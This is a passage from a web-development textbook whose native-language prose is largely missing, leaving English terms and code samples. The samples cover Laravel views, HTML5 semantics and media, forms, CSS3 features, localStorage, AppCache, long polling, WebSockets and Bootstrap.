<a href="<?= URL::to("user/logout") ?>">Logout</a> |


<a href="<?= URL::to("user/delete/$id") ?>">Delete Account</a>
</form>
@stop

M-V-C Code Style /public/css/


app.css CSS CSS Code

html, body {
margin: 0;
padding: 0;
font-family: arial, sans-serif;
}

html {
background: #efefef;
Professional Web Developer - () MVC with Laravel 405

body {
width: 600px;
margin: 20px auto;
background: #fff;
padding: 20px;
border: 4px solid #ddd;
border-radius: 5px;
}

h1 {
margin: 0 0 20px 0;
padding: 0 0 10px 0;
border-bottom: 1px solid #ddd;
font-size: 21px;
}

h2 {
color: #555;
padding: 0;
margin: 0 0 10px 0;
font-size: 16px;
}

.errors {
background: #fee;
border: 1px solid #900;
font-size: 13px;
margin: 10px 0;
}

.info {
background: #def;
border: 1px solid #09f;
font-size: 13px;
padding: 10px;
margin: 10px 0;
}

Code Browser localhost/laravel/public


Login Form Route Root URI Request
UserController index Action
index
Action user/login View Login Form

Register Login
Professional Web Developer - () MVC with Laravel 406

(-) - User Registration System Example

Code Download

http://eimaung.com/pwd-rc/laravel-5.3-example.zip

Conclusion
Laravel Framework
Laravel M-V-C Code
Laravel

Composer - https://getcomposer.org/
Database Migration - http://laravel.com/docs/5.3/migrations
Eloquent ORM - http://laravel.com/docs/5.3/eloquent
Blade Template Engine - http://laravel.com/docs/5.3/blade
Artisan CLI - http://laravel.com/docs/5.3/artisan
Middleware - http://laravel.com/docs/5.3/middleware
Homestead - http://laravel.com/docs/5.3/homestead
Fairway Tech School
Web, Mobile Design

- ()

www.fairway.com.mm
Professional Web Developer - () HTML5 Overview 408

() HTML5 Overview
App Development Platform

() HTML Semantic Document Structure HTML


Browser

"" "" Data Model HTML Text Document
Format Markup Language

HTML4.0 HTML Working Group


W3C W3C Workshop
"Shaping the Future of HTML" Workshop "HTML4
XML Markup Language "

HTML Working Group


XHTML HTML
XHTML1.1

XHTML Browser Web Browser


HTML () XHTML


Browser Document Document


Web Document %
W3C XHTML
(Browser )

HTML XHTML

Professional Web Developer - () HTML5 Overview 409

W3C XML Document


Document Error Message XHTML XML
Markup Language Browser Document
Error

Website
Error Document Developer
XHTML Error
Browser
Markup Structure
XHTML

W3C "Web Apps and Compound Documents" Workshop


Workshop Opera Software
Ian Hickson (
Google )

"Web App HTML, CSS JavaScript


Web Standard W3C "

Web App Developer


W3C Web Standard

Ian Hickson W3C HTML
Work Group
HTML Work Group

W3C Ian Hickson


WHATWG

Professional Web Developer - () HTML5 Overview 410

13.1 - WHATWG
The Web Hypertext Application Technology Working Group WHATWG
Web Technology
Apple, Mozilla, Opera, Google ( Web Browser
) "Member"
"Contributor" Member

WHATWG Web Standard


Specification Spec W3C
Standard Web Developer

Standard

WHATWG Spec Web Forms 2.0 Web


Applications 1.0 Spec Spec HTML5

() W3C XHTML WHATWG


HTML
W3C XHTML2 Browser Support
WHATWG Browser

W3C Tim Berners-Lee "HTML


HTML
(incremental improvements) "
HTML Working Group

W3C HTML Working Group WHATWG


Web Applications 1.0 HTML5
W3C WHATWG Ian Hickson
HTML5 Editor
Professional Web Developer - () HTML5 Overview 411

HTML5
HTML5 Web Standard
HTML5 Browser
Browser Support
Developer HTML5

13.2 - Separation of W3C and WHATWG


WHATWG Spec Living Standard
Version

Version Browser WHATWG Spec
Support Feature Support HTML5
Support HTML6 Support
WHATWG Browser
Support

WHATWG HTML5
Living Standard HTML5
Version HTML WHATWG

W3C HTML5 Version



Version HTML5 Candidate
Recommendation HTML5
Professional Web Developer - () HTML5 Overview 412

Final HTML5.1

W3C WHATWG
Ian Hickson WHATWG
W3C HTML5 Editor W3C Editor

W3C HTML5
WHATWG
Living Standard
W3C Standard Body
Industry
WHATWG
W3C Web Technology
WHATWG
W3C Standard

13.3 - Should I Use HTML5 Now?


W3C HTML5 Standard
Web Browser HTML5 Support
Browser Google
Chrome Mozilla Firefox HTML5 Support
Support

HTML5 ()

.) Feature Detection
Feature Detection
HTML5 Feature Browser
Support JavaScript Tool Tool
Browser Support HTML5 Feautre Support
Feature Detect Tools
Modernizr

Modernizr HTML5 Support Internet Explorer 8 Browser


<header>, <footer>, <aside>, <nav> HTML5 Semantic Layout Element
JavaSccript modernizr.com
Professional Web Developer - () HTML5 Overview 413

Download Download <script> Element


HTML5 Support Browser HTML5 Semantic
Layout Element

<script src="js/modernizr.min.js"></script>

HTML5 Feature Browser Support Modernizr


-

<input type="date" id="dob">


<script>
if( !Modernizr.inputtypes.date ) {
$("#dob").datepicker();
}
</script>

HTML5 Date Input Support Browser <input type="date"> Date


Pop-Up Calendar Browser Support Browser
Date Input Text Box
Modernizr Modernizr.inputtypes.date Browser Date Input Support
Support jQuery UI Datepicker

jQuery UI Datepicker
HTML5 Date Input Datepicker Browser Native Performance jQuery UI
Datepicker Mobile Touch Device

HTML5 Feature Browser Support

.) Browser Support Check


HTML5 Feature Browser Support caniuse.com (Can I Use)
Feature Browser Support

Professional Web Developer - () HTML5 Overview 414

(-) caniuse.com - Browser Support of CSS3 @font-face

(-) caniuse.com CSS3 Feature @font-face Browser Support


@font-face HTML5
CSS3 Feature Browser Support
Feature

.) Enhancements
HTML5 Enhance Web App
HTML5
HTML5 Enhance
Browser Support
App Support

- <input type="text" name="fname" autofocus>

autofocus HTML5 Attribute HTML5 Support


Browser Document Input Focus
Support Focus

Enhancement HTML5

Professional Web Developer - () HTML5 Overview 415

13.4 - Semantic Markup


() CSS Layout <div> Element
CSS
<div> Generic Element
Layout Structure
Process HTML4.01 Layout
Element

HTML5 Layout Structure Semantic Element


Semantic Layout Element (Sectioning Element ) Browser
Layout

(-) HTML5 Sectioning Elements

(-) Three Columns Layout HTML5 Element

<section> - <section> <div> Layout


Column Element <div>
<div> Generic Element <section> Layout Group

Element
Professional Web Developer - () HTML5 Overview 416

<header> - <header> Element Section <body>


Section Document
(-)
Document <header> Section

<hgroup> - W3C HTML5 Element


Browser Support
Element <hgroup> -

<hgroup>
<img src="logo.png">
<h1>Section Title</h1>
<h2>Description or Tag Line</h2>
</hgroup>

<footer> - <footer> Element Section Section Foot


<header> Document Foot Section Foot

<nav> - Document Navigation Link <nav> Element


Website Main Navigation

<aside> - Section Content Content


<header> <footer> Document Sidebar Section Sidebar

<article> - Content <article> Element


-

<article class="comment">
<img src="user-one.jpg">
<h3>User Name</h3>
<p>Comment Body</p>
</article>

<article class="comment">
<img src="user-two.jpg">
<h3>User Name</h3>
<p> Comment Body </p>
</article>
Professional Web Developer - () HTML5 Overview 417

Semantic Element Modernizr


HTML5 Support Browser Semantic Element

13.5 - Multimedia
Multimedia 2D Graphic HTML 4.01 Web Document
Video 2D Graphic Adobe Flash Microsoft Silverlight
Plugin HTML5 Multimedia 2D Graphic

Video Web Document <video> Element


<img> Element Image

<video src="intro.mp4" controls autoplay loop></video>

src Attribute
Video File Path
controls Attribute
Play/Pause, Stop Video Player Control
autoplay Attribute Document Lode Video

Play autoplay preload preload
Video Download/ Buffer loop
Repeat Video Replay

Video/Audio Internet Explorer 9 Modern Browser Support


Internet Explorer 8 Browser
Video Player jQuery Plugin Plugin HTML5 Video
Support Support Browser Flash Fallback

Video <video> Element Encoding Audio/


Video Encoding Video MPEG 4, Ogg, Flash, WebM, AVI
Format Format Encode Video Play
Codecs H.264, Theora, VP8 Browser Support
Codecs <video> Element

Format
Professional Web Developer - () HTML5 Overview 418

<video controls>
<source src="intro.mp4">
<source src="intro.ogv">
<source src="intro.webm">
</video>

Browser Support Format Ignore Support Format


Audio <audio> Element <video>


<video> <audio> JavaScript API JavaScript
-

<audio id="p" src="audio.mp3"></audio>

<div id="player-controls">
<button onclick="document.getElementById('p').play()">Play</button>
<button onclick="document.getElementById('p').pause()">Pause</button>
<button onclick="document.getElementById('p').volume+=0.1">V+</button>
<button onclick="document.getElementById('p').volume-=0.1">V-</button>
</div>

<audio> Element Playback Control controls Attribute JavaScript


Element CSS Style
Playback Controls

13.6 - Graphic and Animation


2D Drawing Animation <canvas> Element Graphic
Animation JavaScript

<canvas id="draw" width="300" height="225"></canvas>


<script>
var context = document.getElementById('draw').getContext('2d');
if (context) {
context.fillRect(0, 0, 150, 100);
context.fillStyle = '#00f';
context.strokeStyle = '#f00';
context.lineWidth = 4;
context.fillRect(0, 0, 150, 50);
context.strokeRect(0, 60, 150, 50);
context.clearRect(30, 25, 90, 60);
context.strokeRect(30, 25, 90, 60);
}
</script>
Professional Web Developer - () HTML5 Overview 419

Graphic Container Element <canvas> Element


Graphic
JavaScript

2D Graphic Animation

HTML5

HTML5 Graphic SVG Scalable Vector Graphic


SVG XML Element Graphic Animation

<svg version="1.1" width="320" height="320" xmlns="http://www.w3.org/2000/svg">


<defs>
<radialGradient id="circleGrad">
<stop offset="0%" stop-color="rgb(255, 255, 0)" />
<stop offset="100%" stop-color="rgb( 0, 255, 0)" />
</radialGradient>
</defs>

<ellipse fill="url(#circleGrad)" stroke="#000" cx="50%"


cy="50%" rx="50%" ry="50%">
<animate attributeName="rx" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
<animate attributeName="ry" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
</ellipse>
</svg>

XML .svg Extension Image Viewer Browser



Animate Graphic

Canvas
Web Development 2D Graphic
Professional Web Developer - () HTML5 Overview 420

SVG Canvas 2D Graphic Animation


Canvas
Graphic Code (Imperative ) SVG XML Element
(Declarative ) SVG File Element
DOM API
Vector Graphic Quality Canvas
Pixel Bitmap SVG
Program Performance Canvas

13.7 - Forms
() HTML Form Element Text Box,
Button, Radio, Checkbox Element <input> Element type Attribute
Input Type HTML5 type Attribute
Input Type () -

search, tel, url, email, datetime, date, month, week, time, datetime-
local, number, range, color

Input Type Text Input


Semantic Touch Screen Mobile Devices
<input type="email"> Element Touch Screen Device
On-Screen Keyboard Email ( Space Bar
) @ Sign .com

<input type="url"> Element URL / .com


On-Screen Keyboard <input type="search">
Keywords Keywords Clear
Search Keyword
Browser Input

Professional Web Developer - () HTML5 Overview 421

(-) Google Chrome 21 Linux - HTML5 From Support

HTML5 Form Input Type () Google Chrome 21


(-) Search Input Keyword Clear Button
Date Input Calendar Number
Up/Down Spinner Button Range Input Slider
Color Input Button Function Input
User Interface Text Input

HTML5 Input Type Attribute Range Input


Number Input min, max,
step Attribute -

<input type="range" min="0" max="100" step="10">

autofocus Attribute
Input
Element Document Load Focus
Attribute placeholder placeholder Attribute Input Box
Internal Label Label
Value
Internal Label Value Blank Label
-
Professional Web Developer - () HTML5 Overview 422

<input type="email" placeholder="Please enter your email">

list Attribute Element <datalist>


-

<input type="text" list="js-fw">


<datalist id="js-fw">
<option value="jQuery">
<option value="jQuery UI">
<option value="jQuery Mobile">
<option value="Dojo Toolkit">
<option value="MooTools">
<option value="YUI">
</datalist>

Data List <option> Element Text Input


list Attribute <datalist> id (-)

(-) HTML5 Data List

Text Input j Data List j


HTML5 Input Validation Input Element


required Attribute Input Submit
Professional Web Developer - () HTML5 Overview 423

(-) Input Validateion

(-) <input type="tel" required> required Attribute



Form Submit Input

<input type="email"> Email Format


<input type="number" max="100">


100

Validate
<form> Element
novalidate Attribute Browser Validate

HTML5 Validation Auto Focus Internal Label


(Placeholder) Auto-completion (Data List) Developer
JavaScript App
HTML5

Element Attribute Browser
Professional Web Developer - () HTML5 Overview 424

13.8 - CSS3
CSS3 HTML5
Form Input CSS 2.1 Developer
Image JavaScript
Style Feature

Flex Box
CSS3 Flexbox CSS3
Layout HTML <div> Element CSS float Property
() <div> Element
float Property Layout
Layout Element Property

HTML5 Semantic Layout Element
Flexbox Layout

Flexbox Flexbox Layout Flex Container Flex Items


(-)

(-) Flex Container and Flex Items


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

Container display: flex Item


flex-direction
-

.container {
display: flex;
flex-direction: row;
}
Professional Web Developer - () HTML5 Overview 425

.container Element display: flex flex-direction: row


Layout Flex Layout Box
Item flex-
direction column

Flex Container Item Items



flex-wrap -

.container {
display: flex;
flex-direction: row;
flex-wrap: wrap;
}

flex-wrap wrap (-)


(-) Flex Wrap


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

Item flex-flow
text-align Property text-align Property left, right,
center, justify
Flex Container Item
-

flex-start
flex-end
center
space-between
space-around

(-)
Professional Web Developer - () HTML5 Overview 426

flex-start

flex-end

center

space-between

space-around

(-) Flex Flow


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

Property align-items Container Item


Vertical Align

flex-start flex-end

center stretch

baseline
text text text text text text text text

(-) Align Item


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/
Professional Web Developer - () HTML5 Overview 427

align-items Property
-

flex-start
flex-end
center
stretch
baseline

(-)
Flex Container

.container {
display: flex;
flex-direction: row;
flex-wrap: wrap;
flex-flow: center;
align-items: stretch;
}

Container Item Property


Item Order HTML Structure


HTML Structure Item

order Property 1, 2, 3, 4

(-)

(-) Flex Item Order


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

Item Order

Container (Width)

Item flex-grow Property (-)

Professional Web Developer - () HTML5 Overview 428

(-) Flex Grow


Source: https://css-tricks.com/snippets/css/a-guide-to-flexbox/

flex-grow Default Value 0 Item 1


Item 2 Item
Item

Container Item

flex-shrink Property

flex-grow Container Item
Item flex-grow flex-
shrink 1

.item {
flex: 1 1;
}

flex Property 1 flex-grow 1


flex-shrink 3-Columns Layout
HTML Structure

<div class="wrap">
<header></header>
<section>
<nav></nav>
<article></article>
<aside></aside>
</section>
<footer></footer>
</div>
Professional Web Developer - () HTML5 Overview 429

<section> Element Block Element () <section> Flex Container


<section> Element Flex Items CSS
Code

.wrap {
margin: 20px auto;
width: 1200px;
}

header {
height: 100px;
background: red;
}

section {
display: flex;
align-items: stretch;
height: 200px;
}

nav, aside {
width: 200px;
background: yellow;
}

article {
flex-grow: 1;
background: gray;
}

footer {
height: 50px;
background: orange;
}

Code
section display: flex Flex Container
Flex Direction row Flex Item nav
aside width: 200px
article flex-grow: 1
nav aside 200px article
(-)
Professional Web Developer - () HTML5 Overview 430

(-) Flex Layout Example

CSS Code Flex Item nav, article aside Height


Flex Container section align-items: stretch
Flex Item Container Height

float CSS3 Layout

Font Embed
CSS3 Font Embed CSS font-family
Font
Font Style
Font
font-family
Web Safe Font
Common Font OS Font

CSS3 Website Font Font Embed


Font Browser
Embed Font CSS
Font Embed -

@font-face {
font-family: MyHelvetica;
src: local("Helvetica Neue"), url(MgOpenModernaBold.ttf);
}

@font-face Embed Font font-


family src local() url() Source
local()
Font Embed Font
Professional Web Developer - () HTML5 Overview 431

Font local() Font


url() Font File Browser Download
Embed Font @font-face font-family

h1 {
font-family: MyHelvetica;
}

Browser Support Font Format


Font Squirrel Font Browser Support
Format Convert CSS Code

Link: http://www.fontsquirrel.com/fontface/generator

Google Font API fonts.google.com Font


Font <link> Element Font Embed Google
Browser

(-) Google Fonts


Professional Web Developer - () HTML5 Overview 432

RGBA Color
Color Value CSS2 Color Name, RGB Hex Code RGBA
Transparency CSS3 Color Value

#dialog {
background: #555;
background: rgba(0, 0, 0, 0.6);
}

#dialog Element CSS3 Browser


Hex Code rgba()
CSS3 Browser
rgba() ()
CSS3 Feature CSS3
CSS2 Fallback Style
rgba() rgb()
Red, Green Blue Alpha
Transparency 1 0 0 1

Transparency Level

Border Radius
Element Border border-radius CSS3 Property
() CSS Property

#dialog { border-radius: 10px; }

10px Size

#dialog { border-radius: 10px 10px 0 0; }

TopLeft, TopRight, BottomRight, BottomLeft Size



Professional Web Developer - () HTML5 Overview 433

Linear Gradient
Element Background Image Image CSS3 Gradient

Linear Gradient
-

#dialog { background: linear-gradient(top, #469, #247); }

linear-gradient () Gradient
Position top, right, bottom, left

Angle Degree ( - 45deg, -90deg, 70deg, 0deg)

Linear Gradient CSS3 Gradient Color Stop, Radial


Gradient, Repeating Gradients Complex Gradient

(-) RGBA, Border Radius and Linear Gradient Demo


Professional Web Developer - () HTML5 Overview 434

Text Shadow and Box Shadow


Drop Shadow text-shadow Property Element
box-shadow

p.note { text-shadow: 2px 2px 3px #555; }

#dialog { box-shadow: 5px 5px 10px #999; }

text-shadow box-shadow Property ()



X Offset Y Offset Shadow

Blur Radius Shadow
Blur Effect Size Shadow Color

(-) Box Shadow and Text Shadow Demo


Professional Web Developer - () HTML5 Overview 435

Animations
CSS3 Animation Visual Animation
JavaScript
CSS

.note {
animation: pulse 5s infinite;
}

@keyframes pulse {
0% {
background-color: orange;
}
100% {
background-color: red;
}
}

animation Property Select Element Animation


Animation Name pulse
pulse
Definition @keyframes pulse 0% Animation
Frame 100% Animation Frame
10%, 20%, 30% Animation Frame 0% Frame
Background 100% Background

.note Element Animation Name pulse .note


Element Background Animation
animation Property
5s Animation Duration
Background Animation

Animation Speed Animation Speed

infinite Animation Iteration Count infinite


Animation () infinite
3
animation Property Value
direction Animation
( - ) Direction alternate
Direction
alternate -
Professional Web Developer - () HTML5 Overview 436

.note {
animation: pulse 5s infinite alternate;
/* name=pulse, duration=5s, iteration=infinite, direction=alternate */
}

@keyframes pulse {
0% {
background-color: yellow;
}
50% {
background-color: orange;
}
100% {
background-color: red;
}
}

Vendor Prefixes
CSS Feature W3C Recommendation
Feature W3C Recommendation

- rgba() border-radius CSS3


rgba() W3C Recommendation
border-radius
Candidate Recommendation CSS4
Working Draft

Browser CSS3 W3C Recommendation


Feature Support Candidate Recommendation Working Draft
Support

Browser Feature W3C Recommendation


Feature
CSS Feature Browser Vendor
Prefix linear-gradient()
Mozilla Firefox -moz- Prefix

background: -moz-linear-gradient(top, #fff, #ddd);

Firefox 21 Browser Linear Gradient


-moz- Prefix Mozilla Prefix

Mozilla Mozilla Browser Engine Gecko Rendering Engine
Professional Web Developer - () HTML5 Overview 437

Browser Mozilla Engine Browser


Google Chrome Version
-webkit- Prefix

background: -webkit-linear-gradient(top, #fff, #ddd);

Google Chrome Webkit Rendering Engine -webkit-


Prefix Webkit Engine
Browser Apple Safari, Android Browser iOS Browser
Internet Explorer Feature -ms- Prefix
CSS3 Feature Browser

#dialog {
background: linear-gradient(top, #fff, #ddd);
background: -webkit-linear-gradient(top, #fff, #ddd);
background: -moz-linear-gradient(top, #fff, #ddd);
background: -ms-linear-gradient(top, #fff, #ddd);
}

() Official CSS3
Support Browser Browser

Ignore
Feature Browser
CSS3 Website

Google Chrome, Chromium Opera Browser Blink Rendering Engine


Vendor Prefix Developer Blink Engine Vendor
Prefix
Vendor
Prefix
Professional Web Developer - () HTML5 Overview 438

CSS3 Selector
CSS3 Selector
Selector

img[src$=png] - Attribute Selector $= Operator "


" src Attribute Value png <img>
Element Select

img[src^=blue] - Attribute Selector ^= Operator ""


src Attribute Value blue <img> Element
Select

img[src*=bird] - Attribute Selector *= Operator "


" src Attribute Value bird <img> Element
Select

p:empty - :empty Pseudo-Class Content Element Select


Content <p> Element Select

p:not(.note) - :not Pseudo-class Class note <p>


Element Select

ul ~ p - Sibling selector Parent / /


- Document Structure

<p> </p>
<ul> </ul>
<p> </p>
<p> </p>

<p> Element () ul ~ p Selector <ul> Element <p>


Element Selector

:nth-child, :target Pesudo-Class


Selector Property Value Fallback
Property Value Selector
Browser Support

Professional Web Developer - () HTML5 Overview 439

13.9 - Offline Features


Web App Resources Data Web Server
Client Server Request
App Server App

Data Resource Client-Side


Client-Side Server
Performance Resource
Client-side

Email App Server Inbox Email


Client-side Email Server

Client-side Email
(Email ) Email

Resource
Browser
Browser

HTML5 Cookie
Cookie

Cookie Data Request Server


Cookie
App
Cookie 4KB

DHTML userData, Flash Cookie Flash Shared Objects, Flash Cookie


Ajax Massive Storage System (AMASS) Dojo Storage, Google Gear
HTML5 Web Storage Local
Storage AppCache
Professional Web Developer - () HTML5 Overview 440

Client-side Data Storage


localStorage Cookie Web Browser
Cookie Request
Client/ Server Communication JavaScript local
Storage Object
localStorage

localStorage.setItem("item", "value");

item = value ()
PHP Cookie setcookie("item", "value")

var value = localStorage.getItem("item");

item localStorage value Variable


Method removeItem() clear()
removeItem() clear()

localStorage.removeItem("item");
localStorage.clear();

localStorage Domain
5MB Web
App Client Resource
Website 100MB
Website () Storage 2GB
localStorage Website Setting
Browser

5MB

localStorage Internet Explorer 8 Modern Browser Support


HTML5 Feature
Professional Web Developer - () HTML5 Overview 441

localStorage Text Data


Object - JSON Object Array

var data = [
{ id: 1, name: 'Technology', remark: '' },
{ id: 2, name: 'History', remark: '' },
{ id: 3, name: 'Language', remark: '' }
];

Structure -

localStorage.setItem("data", JSON.stringify( data ));

JSON.stringify() Function JSON Object Array Serialize String




Object

var data = JSON.parse( localStorage.getItem("data") );

JSON.parse() Function Serialize String Object


Client-side Storage Feature IndexedDB


Record Database

Offline App
Web App Client-side
Client-side Web App
Offline Feature HTML5
AppCache

Offline Resource Cache Manifest


File Resource HTML Document CSS File
JavaScript File Image Script File File Web
Document
Professional Web Developer - () HTML5 Overview 442

<!doctype html>
<html manifest="/cache.manifest">
<body>
...
</body>
</html>

<html> Element manifest Attribute cache.manifest File


cache.manifest File -

CACHE MANIFEST

FALLBACK:
/ /offline.html

NETWORK:
*

CACHE:
/style.css
/app.js
/logo.png

CACHE MANIFEST

Section () FALLBACK: Section Resource
Error Document

/ /offline.html

- Resource offline.html
/ Sign " Resource "

NETWORK: Section Resource


* Sign " Resource
"

CACHE: Section Resource


Web Browser Manifest File CACHE: Section
Resource
Download Offline
Professional Web Developer - () HTML5 Overview 443

cache.manifest Document

App Offline

13.10 - Real-Time Web Apps


() HTTP HTTP Client
Pull Technology Web App
Real-Time App Web App
- Message Chat App Client A
Message Server HTTP Client B
Client B Server
Client A Message Client A Message Client
B Real-Time Real-Time
Client Server Push

Facebook, Google+, Twitter, Gmail App Real-Time Data


- Gmail Mail Real-Time
Facebook

Comment
Notification
Real-Time HTTP Pull Technology
Server Push Real-Time Ajax

Interval Server Request


- () Server Request Update
Server Update

setInterval(function() {
$.get('get-data.php', function() {
// update data
});
}, 5000);

JavaScript setInterval() Method Function




Millisecond
get-data.php XHR () Request
Professional Web Developer - () HTML5 Overview 444

Server () Request
Bandwidth

Server
Request

Long Polling
Long Pooling
Request
Server Respond Update
Respond Client Request Respond
Respond
Request/ Respond
Long Pooling Server Update
()
Timeout Respond
Request Server Update
Respond Real-Time

[ Client ]
function pollStart () {
$.get('chat.php', function(msg) {
$("#chat-box").append(msg.text);
pollStart();
}, 'json');
};

pollStart();

pollStart() Function chat.php XHR Request Respond


pollStart() Function Request
Respond Update Server-side

[ Server ]
$time = time();
while((time() - $time) < 30) {
$data = get_update();
if($data) {
echo $data;
break;
}
usleep(500000);
}
echo "";
Professional Web Developer - () HTML5 Overview 445

Server-side () Loop while() Loop



() Loop Data Update Data Update
Data
Respond
Loop Respond

usleep() Function Script


Microsecond Millisecond One Microsecond ()

Client () Request Request/Respond


Bandwidth
eimaung.com/pwd-rc/ Download

WebSockets
HTML5 Real-Time App WebSockets
WebSockets Client-side Feature
Server-side Socket Server Setup PHP Socket
Server Node.JS
WebSockets WebSockets Node.JS Back-end Real-Time
Chat App

[ WebSockets Client in JavaScript ]


var connection = new WebSocket('ws://127.0.0.1:8000/');
connection.onmessage = function (res) {
$("#chat-box").append( res.data );
};

$("#send").click(function() {
connection.send( chatMsg );
});

JavaScript WebSocket Instant Socket Server Connection URL


Protocol http:// ws:// Socket Server
Port

Server onmessage Event


Server send() Method
WebSocket Client
Professional Web Developer - () HTML5 Overview 446

[ Socket Server in Node.JS ]


var WebSocketServer = require('websocket').server;
var http = require('http');

var server = http.createServer(function(request, response) { });


server.listen(8000, function() { });

wsServer = new WebSocketServer({


httpServer: server
});

var clients = [];


wsServer.on('request', function(req) {
var conn= req.accept(null, req.origin);
clients.push(conn);
conn.on('message', function(msg) {
for (var i=0; i < clients.length; i++) {
clients[i].sendUTF(msg.utf8Data);
}
});
});

Node.JS JavaScript
Code Rockstar Developer
() NodeJS

require() Function websocket http Package Include


http.createServer() Web Server
Server Port
8000

Socket Server new WebSocketServer


httpServer Port 8000
Web Server Full-Duplex Socket Server

Socket Server Client clients Array


on("request") Client
on("message")
Client clients Array Loop
Client sendUTF() Method
Client Socket Server Socket Server
Client Real-Time Chat App

Professional Web Developer - () HTML5 Overview 447

WebSockets Support Browser Fallback Long


Polling
socket.io

13.11 - Other APIs


HTML5 Document Markup Web
App
Web App API

File API - Web App Client


HTML5 File API Client File
File, FileReader, FileList JavaScript Object File Name,
Size, Type File
App Server File

File Size File Preview JavaScript

Drag & Drop API - Drag & Drop User Interface JavaScript Framework
HTML5 dragstart, dragenter, dragover,
dragleave, dragdrop, dragend Drag & Drop Event Element
Drag Element Element draggable="true"
Attribute

Geolocation API - Location API Location


IP Address Wifi Router
Mobile Device Cell Tower Device GPS
Geolocation API
JavaScript Location
App
App Location Enhance

Professional Web Developer - () HTML5 Overview 448

History API - Gmail Gmail Interface Ajax Single Page


Interface Inbox Mail
Page Email Browser Back Button
? Back Button " Page" Gmail Inbox
Page , Email Page Page
Browser Back Button Inbox
Gmail
Website

Gmail Browser Back Button


Gmail Website Inbox
Ajax App History API
API Browser History JavaScript

Conclusion
HTML5
Feature Browser Support

HTML5 Web App Mobile App


Mobile App Android, iOS,
Windows Mobile Mobile Platform Support Platform
App HTML5
Mobile Browser Mobile Web App Cordova
HTML5 App Mobile Platform
App


Mobile Web App Mobile Device Web
Browser App HTML5 Mobile App HTML5
Browser Mobile
Device Install App Mobile Web App HTML5
Mobile App Native App
Mobile Platform App
LinkedIn, Netflex, Mafia
Wars, Finical Times, Wunderlist HTML5 Mobiel App Zoho,
Google Doc, Google Drive, Scribd, HootSuite Mobile Web App
() Mobile Web

(,)

() ()
Professional Web Developer - () Mobile Web 451

() Mobile Web
Responsive Web Design

Mobile Device
. (%) Mobile
Device Desktop/ Laptop
Mobile Device Desktop / Laptop
Mobile Device

(-) Mobile and Desktop Market Share


Professional Web Developer - () Mobile Web 452

Mobile Web "


Mobile " Mobile

Website Mobile Device

Mobile Device Desktop Processing Power


Mobile Browser Desktop Browser
Desktop Website
Mobile
Screen Size Mobile Device Screen Size Desktop Screen

Desktop Screen Website Mobile Screen


Site
Content
Zoom

Website

Scan Scan
Mobile Screen Desktop Website
Scan Zoom
Scan Desktop Website
Mobile Screen Scan Scan
Website

Mobile User

Website Website Mobile Screen

Website Mobile Screen Design


Mobile Screen Size Smart Phone
iPhone Size Samsung Galaxy S4 Size Galaxy Note
Size HTC One Size Tablet iPad, iPad
Mini, Nexus 7, Nexus 9 Size
Orientation
Portrait Mode Size Landscape Mode
Size

Professional Web Developer - () Mobile Web 453

Solution CSS3 Media Query Media Query


Size Style
Content Screen Size CSS Style
Responsive Web Design

14.1 - Twitter Bootstrap - CSS Framework


JavaScript Framework PHP Framework CSS Framework
Responsive Framework
CSS Framework Twitter Bootstrap Grid System Element
class Layout

(-) Twitter Bootstrap - Grid

Twitter Bootstrap Grid Columns () (-) Two


Columns Layout HTML Structure

<div class="container">
<div class="row">
<div class="col-md-12"></div>
</div>
<div class="row">
<div class="col-md-4"></div>
<div class="col-md-8"></div>
</div>
<div class="row">
<div class="col-md-12"></div>
</div>
</div>

.row
Element () Row ()
Row Row .col-md-12
Element ()
Professional Web Developer - () Mobile Web 454

Columns Block Row () Columns


.col-md-4 () Columns .col-md-8 Block
(-)

(-) Twitter Bootstrap - Basic Layout

Block Float Clear Layout



Element Class

Background Color Margin


Bootstrap Grid
Background Margin

.col-md-12 Class md Medium Device


Bootstrap Device Screen Layout Class

Small Phone Screen xs (Extra Small) Class Tablet Screen
sm (Small) Class TV Screen lg (Large Device)
Class

Code Desktop Tablet Smartphone


Layout

<div class="container">
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12"></div>
</div>
<div class="row">
<div class="col-md-4 col-sm-6 col-xs-12"></div>
<div class="col-md-8 col-sm-6 col-xs-12"></div>
</div>
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12"></div>
</div>
</div>
Professional Web Developer - () Mobile Web 455

Row Column col-md-4 col-sm-6 col-xs-12



Desktop Screen () Tablet Screen () Phone
Screen ()
(-)

(-) Responsive Layout with Twitter Bootstrap

Row Block Desktop Screen () () Column


Tablet Screen () Column Phone
Screen () Column
Twitter Bootstrap Layout Screen Size
Responsive Web Design

Twitter Bootstrap http://getbootstrap.com Download


Professional Web Developer - () Mobile Web 456

Bootstrap Basic Styles


Bootstrap Layout
Bootstrap Basic Element h1-h6, p, a Element
Default Style
Element
Bootstrap Style Class Table Element
Bootstrap Style .table Class -

<table class="table">
<tr>
<th> </th>
<th> </th>
</tr>
<tr>
<td> </td>
<td> </td>
</tr>
</table>

(-) Bootstrap Table

Table Border .table-bordered Row


Zebra Stripping .table-striped -

<table class="table table-striped table-bordered">


<tr>
<th> </th>
<th> </th>
</tr>
<tr>
<td> </td>
<td> </td>
</tr>
</table>
Professional Web Developer - () Mobile Web 457

Input, Select, Textarea Form Element Bootstrap Style .form-


control Input Element Label Element
.form-group Element -

<div class="form-group">
<label for="email">Email address</label>
<input type="email" class="form-control" id="email">
</div>

Button () Link Bootstrap Button .btn Class


.btn .btn-default, .btn-primary, .btn-success, .btn-info, .btn-
warning, .btn-danger Class Button Link
.btn-link

(-) Bootstrap Buttons

Button .btn-group Class


Element

Element .text-primary, .text-success, .text-


info, .text-warning, .text-danger Bootstrap Text Color
Text .text-muted

Element Background Color Bootstrap Color


.bg-
primary, .bg-success, .bg-info Style
.pull-left .pull-right Element
(float: right ) .pull-right .pull-
left Drop-down Arrow ()

<span class="caret"></span>

Element Screen Size Screen


Size Class - Element
.hidden-xs
Element Extra Small Device
Professional Web Developer - () Mobile Web 458

Class .hidden-sm, .hidden-md .hidden-lg


Element Screen Size Extra Small Device


.visible-xs-*
Element Extra
Small Device Screen Size
Responsive Style Class

(-) Bootstrap Responsive Classes

Bootstrap Components
Bootstrap Component Icon Icon
